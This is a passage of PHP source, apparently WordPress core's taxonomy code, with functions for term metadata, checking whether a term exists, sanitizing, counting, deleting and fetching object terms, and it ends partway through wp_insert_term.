function get_term_meta( $term_id, $key = '', $single = false ) {
	return get_metadata( 'term', $term_id, $key, $single );
}

/**
 * Updates term metadata.
 *
 * Use the `$prev_value` parameter to differentiate between meta fields with the same key and term ID.
 *
 * If the meta field for the term does not exist, it will be added.
 *
 * @since 4.4.0
 *
 * @param int    $term_id    Term ID.
 * @param string $meta_key   Metadata key.
 * @param mixed  $meta_value Metadata value. Must be serializable if non-scalar.
 * @param mixed  $prev_value Optional. Previous value to check before updating.
 *                           If specified, only update existing metadata entries with
 *                           this value. Otherwise, update all entries. Default empty.
 * @return int|bool|WP_Error Meta ID if the key didn't exist. true on successful update,
 *                           false on failure or if the value passed to the function
 *                           is the same as the one that is already in the database.
 *                           WP_Error when term_id is ambiguous between taxonomies.
 */
function update_term_meta( $term_id, $meta_key, $meta_value, $prev_value = '' ) {
	if ( wp_term_is_shared( $term_id ) ) {
		return new WP_Error( 'ambiguous_term_id', __( 'Term meta cannot be added to terms that are shared between taxonomies.' ), $term_id );
	}

	return update_metadata( 'term', $term_id, $meta_key, $meta_value, $prev_value );
}

/**
 * Updates metadata cache for list of term IDs.
 *
 * Performs SQL query to retrieve all metadata for the terms matching `$term_ids` and stores them in the cache.
 * Subsequent calls to `get_term_meta()` will not need to query the database.
 *
 * @since 4.4.0
 *
 * @param array $term_ids List of term IDs.
 * @return array|false An array of metadata on success, false if there is nothing to update.
 */
function update_termmeta_cache( $term_ids ) {
	return update_meta_cache( 'term', $term_ids );
}


/**
 * Queue term meta for lazy-loading.
 *
 * @since 6.3.0
 *
 * @param array $term_ids List of term IDs.
 */
function wp_lazyload_term_meta( array $term_ids ) {
	if ( empty( $term_ids ) ) {
		return;
	}
	$lazyloader = wp_metadata_lazyloader();
	$lazyloader->queue_objects( 'term', $term_ids );
}

/**
 * Gets all meta data, including meta IDs, for the given term ID.
 *
 * @since 4.9.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int $term_id Term ID.
 * @return array|false Array with meta data, or false when the meta table is not installed.
 */
function has_term_meta( $term_id ) {
	$check = wp_check_term_meta_support_prefilter( null );
	if ( null !== $check ) {
		return $check;
	}

	global $wpdb;

	return $wpdb->get_results( $wpdb->prepare( "SELECT meta_key, meta_value, meta_id, term_id FROM $wpdb->termmeta WHERE term_id = %d ORDER BY meta_key,meta_id", $term_id ), ARRAY_A );
}

/**
 * Registers a meta key for terms.
 *
 * @since 4.9.8
 *
 * @param string $taxonomy Taxonomy to register a meta key for. Pass an empty string
 *                         to register the meta key across all existing taxonomies.
 * @param string $meta_key The meta key to register.
 * @param array  $args     Data used to describe the meta key when registered. See
 *                         {@see register_meta()} for a list of supported arguments.
 * @return bool True if the meta key was successfully registered, false if not.
 */
function register_term_meta( $taxonomy, $meta_key, array $args ) {
	$args['object_subtype'] = $taxonomy;

	return register_meta( 'term', $meta_key, $args );
}

/**
 * Unregisters a meta key for terms.
 *
 * @since 4.9.8
 *
 * @param string $taxonomy Taxonomy the meta key is currently registered for. Pass
 *                         an empty string if the meta key is registered across all
 *                         existing taxonomies.
 * @param string $meta_key The meta key to unregister.
 * @return bool True on success, false if the meta key was not previously registered.
 */
function unregister_term_meta( $taxonomy, $meta_key ) {
	return unregister_meta_key( 'term', $meta_key, $taxonomy );
}

/**
 * Determines whether a taxonomy term exists.
 *
 * Formerly is_term(), introduced in 2.3.0.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 3.0.0
 * @since 6.0.0 Converted to use `get_terms()`.
 *
 * @global bool $_wp_suspend_cache_invalidation
 *
 * @param int|string $term        The term to check. Accepts term ID, slug, or name.
 * @param string     $taxonomy    Optional. The taxonomy name to use.
 * @param int        $parent_term Optional. ID of parent term under which to confine the exists search.
 * @return mixed Returns null if the term does not exist.
 *               Returns the term ID if no taxonomy is specified and the term ID exists.
 *               Returns an array of the term ID and the term taxonomy ID if the taxonomy is specified and the pairing exists.
 *               Returns 0 if term ID 0 is passed to the function.
 */
function term_exists( $term, $taxonomy = '', $parent_term = null ) {
	global $_wp_suspend_cache_invalidation;

	if ( null === $term ) {
		return null;
	}

	$defaults = array(
		'get'                    => 'all',
		'fields'                 => 'ids',
		'number'                 => 1,
		'update_term_meta_cache' => false,
		'order'                  => 'ASC',
		'orderby'                => 'term_id',
		'suppress_filter'        => true,
	);

	// Ensure that while importing, queries are not cached.
	if ( ! empty( $_wp_suspend_cache_invalidation ) ) {
		$defaults['cache_results'] = false;
	}

	if ( ! empty( $taxonomy ) ) {
		$defaults['taxonomy'] = $taxonomy;
		$defaults['fields']   = 'all';
	}

	/**
	 * Filters default query arguments for checking if a term exists.
	 *
	 * @since 6.0.0
	 *
	 * @param array      $defaults    An array of arguments passed to get_terms().
	 * @param int|string $term        The term to check. Accepts term ID, slug, or name.
	 * @param string     $taxonomy    The taxonomy name to use. An empty string indicates
	 *                                the search is against all taxonomies.
	 * @param int|null   $parent_term ID of parent term under which to confine the exists search.
	 *                                Null indicates the search is unconfined.
	 */
	$defaults = apply_filters( 'term_exists_default_query_args', $defaults, $term, $taxonomy, $parent_term );

	if ( is_int( $term ) ) {
		if ( 0 === $term ) {
			return 0;
		}
		$args  = wp_parse_args( array( 'include' => array( $term ) ), $defaults );
		$terms = get_terms( $args );
	} else {
		$term = trim( wp_unslash( $term ) );
		if ( '' === $term ) {
			return null;
		}

		if ( ! empty( $taxonomy ) && is_numeric( $parent_term ) ) {
			$defaults['parent'] = (int) $parent_term;
		}

		$args  = wp_parse_args( array( 'slug' => sanitize_title( $term ) ), $defaults );
		$terms = get_terms( $args );
		if ( empty( $terms ) || is_wp_error( $terms ) ) {
			$args  = wp_parse_args( array( 'name' => $term ), $defaults );
			$terms = get_terms( $args );
		}
	}

	if ( empty( $terms ) || is_wp_error( $terms ) ) {
		return null;
	}

	$_term = array_shift( $terms );

	if ( ! empty( $taxonomy ) ) {
		return array(
			'term_id'          => (string) $_term->term_id,
			'term_taxonomy_id' => (string) $_term->term_taxonomy_id,
		);
	}

	return (string) $_term;
}

/**
 * Checks if a term is an ancestor of another term.
 *
 * You can use either an ID or the term object for both parameters.
 *
 * @since 3.4.0
 *
 * @param int|object $term1    ID or object to check if this is the parent term.
 * @param int|object $term2    The child term.
 * @param string     $taxonomy Taxonomy name that $term1 and `$term2` belong to.
 * @return bool Whether `$term2` is a child of `$term1`.
 */
function term_is_ancestor_of( $term1, $term2, $taxonomy ) {
	if ( ! isset( $term1->term_id ) ) {
		$term1 = get_term( $term1, $taxonomy );
	}
	if ( ! isset( $term2->parent ) ) {
		$term2 = get_term( $term2, $taxonomy );
	}

	if ( empty( $term1->term_id ) || empty( $term2->parent ) ) {
		return false;
	}
	if ( $term2->parent === $term1->term_id ) {
		return true;
	}

	return term_is_ancestor_of( $term1, get_term( $term2->parent, $taxonomy ), $taxonomy );
}

/**
 * Sanitizes all term fields.
 *
 * Relies on sanitize_term_field() to sanitize the term. The difference is that
 * this function will sanitize **all** fields. The context is based
 * on sanitize_term_field().
 *
 * The `$term` is expected to be either an array or an object.
 *
 * @since 2.3.0
 *
 * @param array|object $term     The term to check.
 * @param string       $taxonomy The taxonomy name to use.
 * @param string       $context  Optional. Context in which to sanitize the term.
 *                               Accepts 'raw', 'edit', 'db', 'display', 'rss',
 *                               'attribute', or 'js'. Default 'display'.
 * @return array|object Term with all fields sanitized.
 */
function sanitize_term( $term, $taxonomy, $context = 'display' ) {
	$fields = array( 'term_id', 'name', 'description', 'slug', 'count', 'parent', 'term_group', 'term_taxonomy_id', 'object_id' );

	$do_object = is_object( $term );

	$term_id = $do_object ? $term->term_id : ( isset( $term['term_id'] ) ? $term['term_id'] : 0 );

	foreach ( (array) $fields as $field ) {
		if ( $do_object ) {
			if ( isset( $term->$field ) ) {
				$term->$field = sanitize_term_field( $field, $term->$field, $term_id, $taxonomy, $context );
			}
		} else {
			if ( isset( $term[ $field ] ) ) {
				$term[ $field ] = sanitize_term_field( $field, $term[ $field ], $term_id, $taxonomy, $context );
			}
		}
	}

	if ( $do_object ) {
		$term->filter = $context;
	} else {
		$term['filter'] = $context;
	}

	return $term;
}

/**
 * Sanitizes the field value in the term based on the context.
 *
 * Passing a term field value through the function should be assumed to have
 * cleansed the value for whatever context the term field is going to be used.
 *
 * If no context or an unsupported context is given, then default filters will
 * be applied.
 *
 * There are enough filters for each context to support a custom filtering
 * without creating your own filter function. Simply create a function that
 * hooks into the filter you need.
 *
 * @since 2.3.0
 *
 * @param string $field    Term field to sanitize.
 * @param string $value    Search for this term value.
 * @param int    $term_id  Term ID.
 * @param string $taxonomy Taxonomy name.
 * @param string $context  Context in which to sanitize the term field.
 *                         Accepts 'raw', 'edit', 'db', 'display', 'rss',
 *                         'attribute', or 'js'. Default 'display'.
 * @return mixed Sanitized field.
 */
function sanitize_term_field( $field, $value, $term_id, $taxonomy, $context ) {
	$int_fields = array( 'parent', 'term_id', 'count', 'term_group', 'term_taxonomy_id', 'object_id' );
	if ( in_array( $field, $int_fields, true ) ) {
		$value = (int) $value;
		if ( $value < 0 ) {
			$value = 0;
		}
	}

	$context = strtolower( $context );

	if ( 'raw' === $context ) {
		return $value;
	}

	if ( 'edit' === $context ) {

		/**
		 * Filters a term field to edit before it is sanitized.
		 *
		 * The dynamic portion of the hook name, `$field`, refers to the term field.
		 *
		 * @since 2.3.0
		 *
		 * @param mixed $value     Value of the term field.
		 * @param int   $term_id   Term ID.
		 * @param string $taxonomy Taxonomy slug.
		 */
		$value = apply_filters( "edit_term_{$field}", $value, $term_id, $taxonomy );

		/**
		 * Filters the taxonomy field to edit before it is sanitized.
		 *
		 * The dynamic portions of the filter name, `$taxonomy` and `$field`, refer
		 * to the taxonomy slug and taxonomy field, respectively.
		 *
		 * @since 2.3.0
		 *
		 * @param mixed $value   Value of the taxonomy field to edit.
		 * @param int   $term_id Term ID.
		 */
		$value = apply_filters( "edit_{$taxonomy}_{$field}", $value, $term_id );

		if ( 'description' === $field ) {
			$value = esc_html( $value ); // textarea_escaped
		} else {
			$value = esc_attr( $value );
		}
	} elseif ( 'db' === $context ) {

		/**
		 * Filters a term field value before it is sanitized.
		 *
		 * The dynamic portion of the hook name, `$field`, refers to the term field.
		 *
		 * @since 2.3.0
		 *
		 * @param mixed  $value    Value of the term field.
		 * @param string $taxonomy Taxonomy slug.
		 */
		$value = apply_filters( "pre_term_{$field}", $value, $taxonomy );

		/**
		 * Filters a taxonomy field before it is sanitized.
		 *
		 * The dynamic portions of the filter name, `$taxonomy` and `$field`, refer
		 * to the taxonomy slug and field name, respectively.
		 *
		 * @since 2.3.0
		 *
		 * @param mixed $value Value of the taxonomy field.
		 */
		$value = apply_filters( "pre_{$taxonomy}_{$field}", $value );

		// Back compat filters.
		if ( 'slug' === $field ) {
			/**
			 * Filters the category nicename before it is sanitized.
			 *
			 * Use the {@see 'pre_$taxonomy_$field'} hook instead.
			 *
			 * @since 2.0.3
			 *
			 * @param string $value The category nicename.
			 */
			$value = apply_filters( 'pre_category_nicename', $value );
		}
	} elseif ( 'rss' === $context ) {

		/**
		 * Filters the term field for use in RSS.
		 *
		 * The dynamic portion of the hook name, `$field`, refers to the term field.
		 *
		 * @since 2.3.0
		 *
		 * @param mixed  $value    Value of the term field.
		 * @param string $taxonomy Taxonomy slug.
		 */
		$value = apply_filters( "term_{$field}_rss", $value, $taxonomy );

		/**
		 * Filters the taxonomy field for use in RSS.
		 *
		 * The dynamic portions of the hook name, `$taxonomy`, and `$field`, refer
		 * to the taxonomy slug and field name, respectively.
		 *
		 * @since 2.3.0
		 *
		 * @param mixed $value Value of the taxonomy field.
		 */
		$value = apply_filters( "{$taxonomy}_{$field}_rss", $value );
	} else {
		// Use display filters by default.

		/**
		 * Filters the term field sanitized for display.
		 *
		 * The dynamic portion of the hook name, `$field`, refers to the term field name.
		 *
		 * @since 2.3.0
		 *
		 * @param mixed  $value    Value of the term field.
		 * @param int    $term_id  Term ID.
		 * @param string $taxonomy Taxonomy slug.
		 * @param string $context  Context to retrieve the term field value.
		 */
		$value = apply_filters( "term_{$field}", $value, $term_id, $taxonomy, $context );

		/**
		 * Filters the taxonomy field sanitized for display.
		 *
		 * The dynamic portions of the filter name, `$taxonomy`, and `$field`, refer
		 * to the taxonomy slug and taxonomy field, respectively.
		 *
		 * @since 2.3.0
		 *
		 * @param mixed  $value   Value of the taxonomy field.
		 * @param int    $term_id Term ID.
		 * @param string $context Context to retrieve the taxonomy field value.
		 */
		$value = apply_filters( "{$taxonomy}_{$field}", $value, $term_id, $context );
	}

	if ( 'attribute' === $context ) {
		$value = esc_attr( $value );
	} elseif ( 'js' === $context ) {
		$value = esc_js( $value );
	}

	// Restore the type for integer fields after esc_attr().
	if ( in_array( $field, $int_fields, true ) ) {
		$value = (int) $value;
	}

	return $value;
}

/**
 * Counts how many terms are in taxonomy.
 *
 * Default $args is 'hide_empty' which can be 'hide_empty=true' or array('hide_empty' => true).
 *
 * @since 2.3.0
 * @since 5.6.0 Changed the function signature so that the `$args` array can be provided as the first parameter.
 *
 * @internal The `$deprecated` parameter is parsed for backward compatibility only.
 *
 * @param array|string $args       Optional. Array or string of arguments. See WP_Term_Query::__construct()
 *                                 for information on accepted arguments. Default empty array.
 * @param array|string $deprecated Optional. Argument array, when using the legacy function parameter format.
 *                                 If present, this parameter will be interpreted as `$args`, and the first
 *                                 function parameter will be parsed as a taxonomy or array of taxonomies.
 *                                 Default empty.
 * @return string|WP_Error Numeric string containing the number of terms in that
 *                         taxonomy or WP_Error if the taxonomy does not exist.
 */
function wp_count_terms( $args = array(), $deprecated = '' ) {
	$use_legacy_args = false;

	// Check whether function is used with legacy signature: `$taxonomy` and `$args`.
	if ( $args
		&& ( is_string( $args ) && taxonomy_exists( $args )
			|| is_array( $args ) && wp_is_numeric_array( $args ) )
	) {
		$use_legacy_args = true;
	}

	$defaults = array( 'hide_empty' => false );

	if ( $use_legacy_args ) {
		$defaults['taxonomy'] = $args;
		$args                 = $deprecated;
	}

	$args = wp_parse_args( $args, $defaults );

	// Backward compatibility.
	if ( isset( $args['ignore_empty'] ) ) {
		$args['hide_empty'] = $args['ignore_empty'];
		unset( $args['ignore_empty'] );
	}

	$args['fields'] = 'count';

	return get_terms( $args );
}

/**
 * Unlinks the object from the taxonomy or taxonomies.
 *
 * Will remove all relationships between the object and any terms in
 * a particular taxonomy or taxonomies. Does not remove the term or
 * taxonomy itself.
 *
 * @since 2.3.0
 *
 * @param int          $object_id  The term object ID that refers to the term.
 * @param string|array $taxonomies List of taxonomy names or single taxonomy name.
 */
function wp_delete_object_term_relationships( $object_id, $taxonomies ) {
	$object_id = (int) $object_id;

	if ( ! is_array( $taxonomies ) ) {
		$taxonomies = array( $taxonomies );
	}

	foreach ( (array) $taxonomies as $taxonomy ) {
		$term_ids = wp_get_object_terms( $object_id, $taxonomy, array( 'fields' => 'ids' ) );
		$term_ids = array_map( 'intval', $term_ids );
		wp_remove_object_terms( $object_id, $term_ids, $taxonomy );
	}
}

/**
 * Removes a term from the database.
 *
 * If the term is a parent of other terms, then the children will be updated to
 * that term's parent.
 *
 * Metadata associated with the term will be deleted.
 *
 * @since 2.3.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int          $term     Term ID.
 * @param string       $taxonomy Taxonomy name.
 * @param array|string $args {
 *     Optional. Array of arguments to override the default term ID. Default empty array.
 *
 *     @type int  $default       The term ID to make the default term. This will only override
 *                               the terms found if there is only one term found. Any other and
 *                               the found terms are used.
 *     @type bool $force_default Optional. Whether to force the supplied term as default to be
 *                               assigned even if the object was not going to be term-less.
 *                               Default false.
 * }
 * @return bool|int|WP_Error True on success, false if term does not exist. Zero on attempted
 *                           deletion of default Category. WP_Error if the taxonomy does not exist.
 */
function wp_delete_term( $term, $taxonomy, $args = array() ) {
	global $wpdb;

	$term = (int) $term;

	$ids = term_exists( $term, $taxonomy );
	if ( ! $ids ) {
		return false;
	}
	if ( is_wp_error( $ids ) ) {
		return $ids;
	}

	$tt_id = $ids['term_taxonomy_id'];

	$defaults = array();

	if ( 'category' === $taxonomy ) {
		$defaults['default'] = (int) get_option( 'default_category' );
		if ( $defaults['default'] === $term ) {
			return 0; // Don't delete the default category.
		}
	}

	// Don't delete the default custom taxonomy term.
	$taxonomy_object = get_taxonomy( $taxonomy );
	if ( ! empty( $taxonomy_object->default_term ) ) {
		$defaults['default'] = (int) get_option( 'default_term_' . $taxonomy );
		if ( $defaults['default'] === $term ) {
			return 0;
		}
	}

	$args = wp_parse_args( $args, $defaults );

	if ( isset( $args['default'] ) ) {
		$default = (int) $args['default'];
		if ( ! term_exists( $default, $taxonomy ) ) {
			unset( $default );
		}
	}

	if ( isset( $args['force_default'] ) ) {
		$force_default = $args['force_default'];
	}

	/**
	 * Fires when deleting a term, before any modifications are made to posts or terms.
	 *
	 * @since 4.1.0
	 *
	 * @param int    $term     Term ID.
	 * @param string $taxonomy Taxonomy name.
	 */
	do_action( 'pre_delete_term', $term, $taxonomy );

	// Update children to point to new parent.
	if ( is_taxonomy_hierarchical( $taxonomy ) ) {
		$term_obj = get_term( $term, $taxonomy );
		if ( is_wp_error( $term_obj ) ) {
			return $term_obj;
		}
		$parent = $term_obj->parent;

		$edit_ids    = $wpdb->get_results( "SELECT term_id, term_taxonomy_id FROM $wpdb->term_taxonomy WHERE `parent` = " . (int) $term_obj->term_id );
		$edit_tt_ids = wp_list_pluck( $edit_ids, 'term_taxonomy_id' );

		/**
		 * Fires immediately before a term to delete's children are reassigned a parent.
		 *
		 * @since 2.9.0
		 *
		 * @param array $edit_tt_ids An array of term taxonomy IDs for the given term.
		 */
		do_action( 'edit_term_taxonomies', $edit_tt_ids );

		$wpdb->update( $wpdb->term_taxonomy, compact( 'parent' ), array( 'parent' => $term_obj->term_id ) + compact( 'taxonomy' ) );

		// Clean the cache for all child terms.
		$edit_term_ids = wp_list_pluck( $edit_ids, 'term_id' );
		clean_term_cache( $edit_term_ids, $taxonomy );

		/**
		 * Fires immediately after a term to delete's children are reassigned a parent.
		 *
		 * @since 2.9.0
		 *
		 * @param array $edit_tt_ids An array of term taxonomy IDs for the given term.
		 */
		do_action( 'edited_term_taxonomies', $edit_tt_ids );
	}

	// Get the term before deleting it or its term relationships so we can pass to actions below.
	$deleted_term = get_term( $term, $taxonomy );

	$object_ids = (array) $wpdb->get_col( $wpdb->prepare( "SELECT object_id FROM $wpdb->term_relationships WHERE term_taxonomy_id = %d", $tt_id ) );

	foreach ( $object_ids as $object_id ) {
		if ( ! isset( $default ) ) {
			wp_remove_object_terms( $object_id, $term, $taxonomy );
			continue;
		}

		$terms = wp_get_object_terms(
			$object_id,
			$taxonomy,
			array(
				'fields'  => 'ids',
				'orderby' => 'none',
			)
		);

		if ( 1 === count( $terms ) && isset( $default ) ) {
			$terms = array( $default );
		} else {
			$terms = array_diff( $terms, array( $term ) );
			if ( isset( $default ) && isset( $force_default ) && $force_default ) {
				$terms = array_merge( $terms, array( $default ) );
			}
		}

		$terms = array_map( 'intval', $terms );
		wp_set_object_terms( $object_id, $terms, $taxonomy );
	}

	// Clean the relationship caches for all object types using this term.
	$tax_object = get_taxonomy( $taxonomy );
	foreach ( $tax_object->object_type as $object_type ) {
		clean_object_term_cache( $object_ids, $object_type );
	}

	$term_meta_ids = $wpdb->get_col( $wpdb->prepare( "SELECT meta_id FROM $wpdb->termmeta WHERE term_id = %d ", $term ) );
	foreach ( $term_meta_ids as $mid ) {
		delete_metadata_by_mid( 'term', $mid );
	}

	/**
	 * Fires immediately before a term taxonomy ID is deleted.
	 *
	 * @since 2.9.0
	 *
	 * @param int $tt_id Term taxonomy ID.
	 */
	do_action( 'delete_term_taxonomy', $tt_id );

	$wpdb->delete( $wpdb->term_taxonomy, array( 'term_taxonomy_id' => $tt_id ) );

	/**
	 * Fires immediately after a term taxonomy ID is deleted.
	 *
	 * @since 2.9.0
	 *
	 * @param int $tt_id Term taxonomy ID.
	 */
	do_action( 'deleted_term_taxonomy', $tt_id );

	// Delete the term if no taxonomies use it.
	if ( ! $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->term_taxonomy WHERE term_id = %d", $term ) ) ) {
		$wpdb->delete( $wpdb->terms, array( 'term_id' => $term ) );
	}

	clean_term_cache( $term, $taxonomy );

	/**
	 * Fires after a term is deleted from the database and the cache is cleaned.
	 *
	 * The {@see 'delete_$taxonomy'} hook is also available for targeting a specific
	 * taxonomy.
	 *
	 * @since 2.5.0
	 * @since 4.5.0 Introduced the `$object_ids` argument.
	 *
	 * @param int     $term         Term ID.
	 * @param int     $tt_id        Term taxonomy ID.
	 * @param string  $taxonomy     Taxonomy slug.
	 * @param WP_Term $deleted_term Copy of the already-deleted term.
	 * @param array   $object_ids   List of term object IDs.
	 */
	do_action( 'delete_term', $term, $tt_id, $taxonomy, $deleted_term, $object_ids );

	/**
	 * Fires after a term in a specific taxonomy is deleted.
	 *
	 * The dynamic portion of the hook name, `$taxonomy`, refers to the specific
	 * taxonomy the term belonged to.
	 *
	 * Possible hook names include:
	 *
	 *  - `delete_category`
	 *  - `delete_post_tag`
	 *
	 * @since 2.3.0
	 * @since 4.5.0 Introduced the `$object_ids` argument.
	 *
	 * @param int     $term         Term ID.
	 * @param int     $tt_id        Term taxonomy ID.
	 * @param WP_Term $deleted_term Copy of the already-deleted term.
	 * @param array   $object_ids   List of term object IDs.
	 */
	do_action( "delete_{$taxonomy}", $term, $tt_id, $deleted_term, $object_ids );

	return true;
}

/**
 * Deletes one existing category.
 *
 * @since 2.0.0
 *
 * @param int $cat_id Category term ID.
 * @return bool|int|WP_Error Returns true if completes delete action; false if term doesn't exist;
 *                           Zero on attempted deletion of default Category; WP_Error object is
 *                           also a possibility.
 */
function wp_delete_category( $cat_id ) {
	return wp_delete_term( $cat_id, 'category' );
}

/**
 * Retrieves the terms associated with the given object(s), in the supplied taxonomies.
 *
 * @since 2.3.0
 * @since 4.2.0 Added support for 'taxonomy', 'parent', and 'term_taxonomy_id' values of `$orderby`.
 *              Introduced `$parent` argument.
 * @since 4.4.0 Introduced `$meta_query` and `$update_term_meta_cache` arguments. When `$fields` is 'all' or
 *              'all_with_object_id', an array of `WP_Term` objects will be returned.
 * @since 4.7.0 Refactored to use WP_Term_Query, and to support any WP_Term_Query arguments.
 * @since 6.3.0 Passing `update_term_meta_cache` argument value false by default resulting in get_terms() to not
 *              prime the term meta cache.
 *
 * @param int|int[]       $object_ids The ID(s) of the object(s) to retrieve.
 * @param string|string[] $taxonomies The taxonomy names to retrieve terms from.
 * @param array|string    $args       See WP_Term_Query::__construct() for supported arguments.
 * @return WP_Term[]|int[]|string[]|string|WP_Error Array of terms, a count thereof as a numeric string,
 *                                                  or WP_Error if any of the taxonomies do not exist.
 *                                                  See WP_Term_Query::get_terms() for more information.
 */
function wp_get_object_terms( $object_ids, $taxonomies, $args = array() ) {
	if ( empty( $object_ids ) || empty( $taxonomies ) ) {
		return array();
	}

	if ( ! is_array( $taxonomies ) ) {
		$taxonomies = array( $taxonomies );
	}

	foreach ( $taxonomies as $taxonomy ) {
		if ( ! taxonomy_exists( $taxonomy ) ) {
			return new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) );
		}
	}

	if ( ! is_array( $object_ids ) ) {
		$object_ids = array( $object_ids );
	}
	$object_ids = array_map( 'intval', $object_ids );

	$defaults = array(
		'update_term_meta_cache' => false,
	);

	$args = wp_parse_args( $args, $defaults );

	/**
	 * Filters arguments for retrieving object terms.
	 *
	 * @since 4.9.0
	 *
	 * @param array    $args       An array of arguments for retrieving terms for the given object(s).
	 *                             See {@see wp_get_object_terms()} for details.
	 * @param int[]    $object_ids Array of object IDs.
	 * @param string[] $taxonomies Array of taxonomy names to retrieve terms from.
	 */
	$args = apply_filters( 'wp_get_object_terms_args', $args, $object_ids, $taxonomies );

	/*
	 * When one or more queried taxonomies is registered with an 'args' array,
	 * those params override the `$args` passed to this function.
	 */
	$terms = array();
	if ( count( $taxonomies ) > 1 ) {
		foreach ( $taxonomies as $index => $taxonomy ) {
			$t = get_taxonomy( $taxonomy );
			if ( isset( $t->args ) && is_array( $t->args ) && array_merge( $args, $t->args ) != $args ) {
				unset( $taxonomies[ $index ] );
				$terms = array_merge( $terms, wp_get_object_terms( $object_ids, $taxonomy, array_merge( $args, $t->args ) ) );
			}
		}
	} else {
		$t = get_taxonomy( $taxonomies[0] );
		if ( isset( $t->args ) && is_array( $t->args ) ) {
			$args = array_merge( $args, $t->args );
		}
	}

	$args['taxonomy']   = $taxonomies;
	$args['object_ids'] = $object_ids;

	// Taxonomies registered without an 'args' param are handled here.
	if ( ! empty( $taxonomies ) ) {
		$terms_from_remaining_taxonomies = get_terms( $args );

		// Array keys should be preserved for values of $fields that use term_id for keys.
		if ( ! empty( $args['fields'] ) && str_starts_with( $args['fields'], 'id=>' ) ) {
			$terms = $terms + $terms_from_remaining_taxonomies;
		} else {
			$terms = array_merge( $terms, $terms_from_remaining_taxonomies );
		}
	}

	/**
	 * Filters the terms for a given object or objects.
	 *
	 * @since 4.2.0
	 *
	 * @param WP_Term[]|int[]|string[]|string $terms      Array of terms or a count thereof as a numeric string.
	 * @param int[]                           $object_ids Array of object IDs for which terms were retrieved.
	 * @param string[]                        $taxonomies Array of taxonomy names from which terms were retrieved.
	 * @param array                           $args       Array of arguments for retrieving terms for the given
	 *                                                    object(s). See wp_get_object_terms() for details.
	 */
	$terms = apply_filters( 'get_object_terms', $terms, $object_ids, $taxonomies, $args );

	$object_ids = implode( ',', $object_ids );
	$taxonomies = "'" . implode( "', '", array_map( 'esc_sql', $taxonomies ) ) . "'";

	/**
	 * Filters the terms for a given object or objects.
	 *
	 * The `$taxonomies` parameter passed to this filter is formatted as a SQL fragment. The
	 * {@see 'get_object_terms'} filter is recommended as an alternative.
	 *
	 * @since 2.8.0
	 *
	 * @param WP_Term[]|int[]|string[]|string $terms      Array of terms or a count thereof as a numeric string.
	 * @param string                          $object_ids Comma separated list of object IDs for which terms were retrieved.
	 * @param string                          $taxonomies SQL fragment of taxonomy names from which terms were retrieved.
	 * @param array                           $args       Array of arguments for retrieving terms for the given
	 *                                                    object(s). See wp_get_object_terms() for details.
	 */
	return apply_filters( 'wp_get_object_terms', $terms, $object_ids, $taxonomies, $args );
}

/**
 * Adds a new term to the database.
 *
 * A non-existent term is inserted in the following sequence:
 * 1. The term is added to the term table, then related to the taxonomy.
 * 2. If everything is correct, several actions are fired.
 * 3. The 'term_id_filter' is evaluated.
 * 4. The term cache is cleaned.
 * 5. Several more actions are fired.
 * 6. An array is returned containing the `term_id` and `term_taxonomy_id`.
 *
 * If the 'slug' argument is not empty, then it is checked to see if the term
 * is invalid. If it is not a valid, existing term, it is added and the term_id
 * is given.
 *
 * If the taxonomy is hierarchical, and the 'parent' argument is not empty,
 * the term is inserted and the term_id will be given.
 *
 * Error handling:
 * If `$taxonomy` does not exist or `$term` is empty,
 * a WP_Error object will be returned.
 *
 * If the term already exists on the same hierarchical level,
 * or the term slug and name are not unique, a WP_Error object will be returned.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @since 2.3.0
 *
 * @param string       $term     The term name to add.
 * @param string       $taxonomy The taxonomy to which to add the term.
 * @param array|string $args {
 *     Optional. Array or query string of arguments for inserting a term.
 *
 *     @type string $alias_of    Slug of the term to make this term an alias of.
 *                               Default empty string. Accepts a term slug.
 *     @type string $description The term description. Default empty string.
 *     @type int    $parent      The id of the parent term. Default 0.
 *     @type string $slug        The term slug to use. Default empty string.
 * }
 * @return array|WP_Error {
 *     An array of the new term data, WP_Error otherwise.
 *
 *     @type int        $term_id          The new term ID.
 *     @type int|string $term_taxonomy_id The new term taxonomy ID. Can be a numeric string.
 * }
 */
function wp_insert_term( $term, $taxonomy, $args = array() ) {
	global $wpdb;

	if ( ! taxonomy_exists( $taxonomy ) ) {
		return new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) );
	}

	/**
	 * Filters a term before it is sanitized and inserted into the database.
	 *
	 * @since 3.0.0
	 * @since 6.1.0 The `$args` parameter was added.
	 *
	 * @param string|WP_Error $term     The term name to add, or a WP_Error object if there's an error.
	 * @param string          $taxonomy Taxonomy slug.
	 * @param array|string    $args     Array or query string of arguments passed to wp_insert_term().
	 */
	$term = apply_filters( 'pre_insert_term', $term, $taxonomy, $args );

	if ( is_wp_error( $term ) ) {
		return $term;
	}

	if ( is_int( $term ) && 0 === $term ) {
		return new WP_Error( 'invalid_term_id', __( 'Invalid term ID.' ) );
	}

	if ( '' === trim( $term ) ) {
		return new WP_Error( 'empty_term_name', __( 'A name is required for this term.' ) );
	}

	$defaults = array(
		'alias_of'    => '',
		'description' => '',
		'parent'      => 0,
		'slug'        => '',
	);
	$args     = wp_parse_args( $args, $defaults );

	if ( (int) $args['parent'] > 0 && ! term_exists( (int) $args['parent'] ) ) {
		return new WP_Error( 'missing_parent', __( 'Parent term does not exist.' ) );
	}

	$args['name']     = $term;
	$args['taxonomy'] = $taxonomy;

	// Coerce null description to strings, to avoid database errors.
	$args['description'] = (string) $args['description'];

	$args = sanitize_term( $args, $taxonomy, 'db' );

	// expected_slashed ($name)
	$name        = wp_unslash( $args['name'] );
	$description = wp_unslash( $args['description'] );
	$parent      = (int) $args['parent'];

	// Sanitization could clean the name to an empty string that must be checked again.
	if ( '' === $name ) {
		return new WP_Error( 'invalid_term_name', __( 'Invalid term name.' ) );
	}

	$slug_provided = ! empty( $args['slug'] );
	if ( ! $slug_provided ) {
		$slug = sanitize_title( $name );
	} else {
		$slug = $args['slug'];
	}

	$term_group = 0;
	if ( $args['alias_of'] ) {
